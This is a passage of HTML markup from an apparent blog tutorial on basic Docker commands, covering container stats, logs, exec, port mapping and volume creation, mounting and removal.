class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;basic GNU Linux commands: cd, ls, rm, etc.&lt;/a&gt;&#xA; to refresh your memory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pwd&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-know-how-much-memory-or-processor-a-container-is-using&#34;&gt;How to know how much memory or processor a container is using?&lt;/h2&gt;&#xA;&lt;p&gt;Use the &lt;em&gt;docker stats&lt;/em&gt; command and it will show you how much memory or CPU each container is using in real time.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stats&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID   NAME                  CPU %     MEM USAGE / LIMIT    MEM %     NET I/O          BLOCK I/O        PIDS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;id&amp;gt;   &amp;lt;container_name&amp;gt;   0.00%     116.2MiB / 11.4GiB   1.00%     337kB / 53.9kB   111MB / 709kB    &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;id&amp;gt;   &amp;lt;container_name&amp;gt;   0.00%     41.12MiB / 11.4GiB   0.35%     52kB / 97kB      29.4MB / 295kB   &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-extract-a-file-from-a-docker-container&#34;&gt;How to extract a file from a docker container?&lt;/h2&gt;&#xA;&lt;p&gt;To extract a file from a container we use the &lt;em&gt;docker cp&lt;/em&gt; command, which is basically an analogue of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;Linux cp-command&lt;/a&gt;&#xA;, with the following syntax.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker cp &amp;lt;container_name&amp;gt;:&amp;lt;path_to_file&amp;gt; &amp;lt;path_to_extract_on_your_computer&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;running-a-docker-container-in-the-background&#34;&gt;Running a docker container in the background&lt;/h2&gt;&#xA;&lt;p&gt;When we want a container to remain running in the background we use the &lt;em&gt;-d&lt;/em&gt; tag, which comes from detach (you can also easily remember it by associating it with &amp;ldquo;daemon&amp;rdquo;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now run &lt;em&gt;docker ps&lt;/em&gt;, to see the processes that are running in Docker, we can notice that the Nginx server that we started with the previous command is active.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;8c7fbece083b nginx           &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/docker-entrypoint.…&amp;#34;&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; seconds ago Up &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; seconds 80/tcp boring_hugle&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-view-a-containers-logs&#34;&gt;How to view a container&amp;rsquo;s logs&lt;/h2&gt;&#xA;&lt;p&gt;If our container failed to run the way we expected, examining the logs would be a good place to start.&lt;/p&gt;&#xA;&lt;p&gt;For this task Docker provides us with the &lt;em&gt;docker logs&lt;/em&gt; command, to which we will specify the container to inspect. The container from the previous step was assigned the name &amp;ldquo;boring_hugle&amp;rdquo;, although yours can have man.&lt;/p&gt;&#xA;&lt;p&gt;For now don&amp;rsquo;t worry about errors and warnings.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker logs &amp;lt;container_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/docker-entrypoint.sh: Looking &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; shell scripts in /docker-entrypoint.d/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;executing-a-command-in-a-running-container&#34;&gt;Executing a command in a running container&lt;/h2&gt;&#xA;&lt;p&gt;To execute a command on a &lt;strong&gt;container that is running&lt;/strong&gt; the exec command will be used. It is important to note that the **container name is &lt;strong&gt;used here,&lt;/strong&gt; not the image. The following command will run bash on the container. Remember that to see the containers running we use &amp;ldquo;&lt;em&gt;docker ps -a&lt;/em&gt;&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; -it &amp;lt;container_name&amp;gt; bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The use of &lt;em&gt;docker exec&lt;/em&gt; is not limited to entering a terminal. Look what happens if we run the curl command to localhost on the container where Nginx is running.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; -it boring_hugle curl localhost&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;head&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;stop-a-docker-container&#34;&gt;Stop a Docker container&lt;/h2&gt;&#xA;&lt;p&gt;To stop a running container just run &lt;em&gt;docker stop&lt;/em&gt;, followed by the container name or id.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stop &amp;lt;container_name_or_id&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;start-a-container&#34;&gt;Start a container&lt;/h2&gt;&#xA;&lt;p&gt;If we want to run a container that is stopped we now use &lt;em&gt;docker start&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker start &amp;lt;container_name_or_id&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;restart-a-docker-container&#34;&gt;Restart a Docker container&lt;/h2&gt;&#xA;&lt;p&gt;If instead we want to restart a running container we can use &lt;em&gt;docker restart&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker restart &amp;lt;container_name_or_id&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-expose-a-containers-port-to-the-outside&#34;&gt;How to expose a container&amp;rsquo;s port to the outside&lt;/h2&gt;&#xA;&lt;p&gt;So far we have created containers with which we cannot interact from the outside. If we try to open localhost we will see that our Nginx container does not return anything.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/ErrorFirefox.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/ErrorFirefox.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Firefox connection error page&#34; width=&#34;856&#34; height=&#34;470&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Firefox error when trying to access Nginx container&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This is because each container has its own network and its own ports. If we want to redirect the ports of the container to the ports of our computer we use the option &lt;em&gt;-p&lt;/em&gt;, &lt;strong&gt;placing first the port number of our computer&lt;/strong&gt; separated with a colon of the one that corresponds to the container.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name ngnixServer -p 8080:80 nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above command created an instance of the Nginx web server, so we will redirect, to OUR port 8080, what comes out of YOUR port 80.&lt;/p&gt;&#xA;&lt;p&gt;When you finish executing this command you can open your browser and check that you are running an Nginx server.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/nginx-corriendo-sobre-docker.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/nginx-corriendo-sobre-docker.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Welcome message from a server&#34; width=&#34;620&#34; height=&#34;274&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;data-persistence-with-volumes-in-docker&#34;&gt;Data persistence with volumes in Docker&lt;/h2&gt;&#xA;&lt;p&gt;The changes we make inside Docker containers, such as creating files, modifying configurations and others, stay there, if we delete the container the information and changes are lost forever.&lt;/p&gt;&#xA;&lt;h3 id=&#34;data-persistence-in-docker&#34;&gt;Data persistence in Docker&lt;/h3&gt;&#xA;&lt;p&gt;Volumes are the tool that will allow us to store information outside the containers and, therefore, remains even if we delete them.&lt;/p&gt;&#xA;&lt;p&gt;You can think of them as isolated parts in your system, which you can assemble into the container system.&lt;/p&gt;&#xA;&lt;p&gt;Docker stores these containers in the location &amp;ldquo;_/var/lib/docker/volumes/volume_name/&lt;em&gt;data&lt;/em&gt;&amp;rdquo;. &lt;strong&gt;These folders are only accessible to docker and the root user&lt;/strong&gt;, so we do not have the permissions to modify their content directly, using our normal user. Review the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/&#34;&gt;permissions in GNU/Linux&lt;/a&gt;&#xA; if you have doubts.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try to make it clearer with an example:&lt;/p&gt;&#xA;&lt;h3 id=&#34;create-a-volume-when-running-an-image&#34;&gt;Create a volume when running an image&lt;/h3&gt;&#xA;&lt;p&gt;To create a volume when running a container we specify it with the -v option, followed by the volume we want to assign to the volume, separated by a colon from the location to which we want to assign the volume in the container.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d -it --name &amp;lt;container_name&amp;gt; -v &amp;lt;volume_name&amp;gt;:/var/lib/mysql ubuntu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now enter the terminal of that container.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; -it &amp;lt;container_name&amp;gt; bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once in the container we enter the folder &lt;em&gt;/var/lib/mysql&lt;/em&gt; and create a file named &lt;em&gt;db.sql&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; /var/lib/mysql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch db.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, if we do an ls on the location where Docker stores the volumes we should see the file we just created.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ls /var/lib/docker/volumes/volume_name/_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There it is! If we now stop and delete the container we will see that our volume still exists.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stop &amp;lt;container_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rm &amp;lt;container_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ls /var/lib/docker/volumes/volume_name/_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;He survived the deletion of his container! The &lt;em&gt;db.sql&lt;/em&gt; file is part of the volume named volume_name (or whatever you have named it) and to access it again you just have to mount the volume in another container. I will explain how later.&lt;/p&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s look at another way to create volumes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;create-volumes-in-docker&#34;&gt;Create volumes in Docker&lt;/h3&gt;&#xA;&lt;p&gt;Docker also allows you to create a volume without running a container by using the &lt;em&gt;docker volume create&lt;/em&gt; command, followed by the name you want for your volume. As mentioned above, Docker will create each of these volumes in the location &amp;ldquo;/var/lib/docker/volumes/volume_name/&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume create &amp;lt;volume_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;inspect-volume&#34;&gt;Inspect volume&lt;/h3&gt;&#xA;&lt;p&gt;If we inspect a volume we will see information related to the volume we created, where it is located in our system, its name and the creation date.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume inspect &amp;lt;volume_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;CreatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;2020-10-05T21:16:44-05:00&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Driver&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;local&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Labels&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mountpoint&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/var/lib/docker/volumes/volume_name/_data&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;volume_name&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Options&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Scope&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;local&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;list-volumes&#34;&gt;List volumes&lt;/h3&gt;&#xA;&lt;p&gt;To list all available volumes we will use the &lt;em&gt;docker volume ls.&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DRIVER VOLUME NAME&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt;               &amp;lt;volume_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;mount-volumes-in-docker&#34;&gt;Mount volumes in Docker&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;To mount a volume, which we have previously created&lt;/strong&gt;, in a container we use the &lt;em&gt;&amp;ndash;mount&lt;/em&gt; option, followed by the name of the volume (src) and its destination in the container (dst), separated by a comma&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name db --mount &lt;span style=&#34;color:#ff5c57&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&amp;lt;volume_name&amp;gt;,dst&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/data/db mongo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;delete-volumes&#34;&gt;Delete volumes&lt;/h3&gt;&#xA;&lt;p&gt;To delete a volume we use the &lt;em&gt;docker volume rm&lt;/em&gt; command. However, &lt;strong&gt;we cannot delete a volume that is in use by a container,&lt;/strong&gt; so it is necessary to stop and delete its container first.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume rm &amp;lt;volume_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;clean-volumes&#34;&gt;Clean volumes&lt;/h3&gt;&#xA;&lt;p&gt;If we have volumes that are not associated to any container we can get rid of all of them with a single command: &lt;em&gt;docker volume prune.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume prune&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING! This will remove all &lt;span 